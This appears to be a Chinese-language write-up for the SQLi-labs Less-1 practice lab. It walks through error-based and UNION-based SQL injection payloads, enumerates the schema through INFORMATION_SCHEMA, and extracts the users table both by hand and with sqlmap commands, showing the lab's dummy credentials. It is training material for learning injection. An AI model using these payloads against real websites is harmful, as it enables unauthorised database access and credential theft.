实验地址:http://web-labs.rinue.top/sqli-labs/Less-1/
0x01 手工注入
首先打开网址,打开这样一个界面:
根据提示
Please input the ID as parameter with numeric value
请输入ID作为带数值的参数
在地址栏中加入参数
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1
成功进入一个界面
显示了登录名和密码;
在参数后加入单引号看是否存在注入点
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1‘
‘='
出现以下报错信息
说明存在注入点;
接下来开始猜字段数;
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1‘ and 1=2 union select 1 -- ‘
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1 -- '
‘='
=
报错:
The used SELECT statements have a different number of columns
继续
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1‘ and 1=2 union select 1,2 -- ‘ http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2 --'
依然报上面的错
继续
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1‘ and 1=2 union select 1,2,3 -- ‘
此时
说明找到了字段数,字段数为3
还可以利用 order by 来判断字段数
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' order by 1 -- '
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' order by 2 -- '
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' order by 3 -- '
order by 3 时候不报错
然后可以利用一些数据库函数获取一些信息
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),version() -- '
得到了当前的数据库名为security
当前数据库系统的版本号为:5.5.57_log,百度后,发现是mysql数据库
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),user() -- '
这样可以得到当前用户的的用户名;
现在,开始获取security下的表名:
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,TABLE_NAME,
user() from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' -- '
只显示了一个表;
可以加入limit 显示其他的表;LIMIT m,n : 表示从第m 1条开始,取n条数据;
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2
union select 1,3,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' limit 3,10 -- '
不过,这样太过麻烦了;
可以用group_concat(),把这些表一起连接到一起;
一 concat()函数
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,...)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
3、语法:concat(str1, seperator,str2,seperator,...)
返回结果为连接参数产生的字符串并且有分隔符,如果有任何一个参数为null,则返回值为null。
二 concat_ws()函数
1、功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)
2、语法:concat_ws(separator, str1, str2, ...)
说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
三 group_concat()函数
1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符‘] )
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,
group_concat(distinct TABLE_NAME separator " ") from INFORMATION_SCHEMA.COLUMNS
where TABLE_SCHEMA='security' -- '
" ="
获取user表的字段
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,
group_concat(column_name separator " ") from INFORMATION_SCHEMA.COLUMNS
where TABLE_SCHEMA='security' and TABLE_NAME='users'-- '
然后获取,字段的值
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,
group_concat(username,':',password) from security.users-- '
http://web-labs.rinue.top/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,
group_concat(concat_ws(' ',username,password)) from security.users-- '
方法二 SQLmap
sqlmap -u "web-labs.rinue.top/sqli-labs/Less-1/?id=1" --batch -D "security" --tables
Database: security [4 tables] ---------- | emails | | referers | | uagents | | users | ----------
显示 users 表
sqlmap -u "web-labs.rinue.top/sqli-labs/Less-1/?id=1" --batch -D "security" -T users --dump
Database: security Table: users [13 entries] ---- ---------- ------------ | id | username | password | ---- ---------- ------------ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | [email protected] | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | ---- ---------- ------------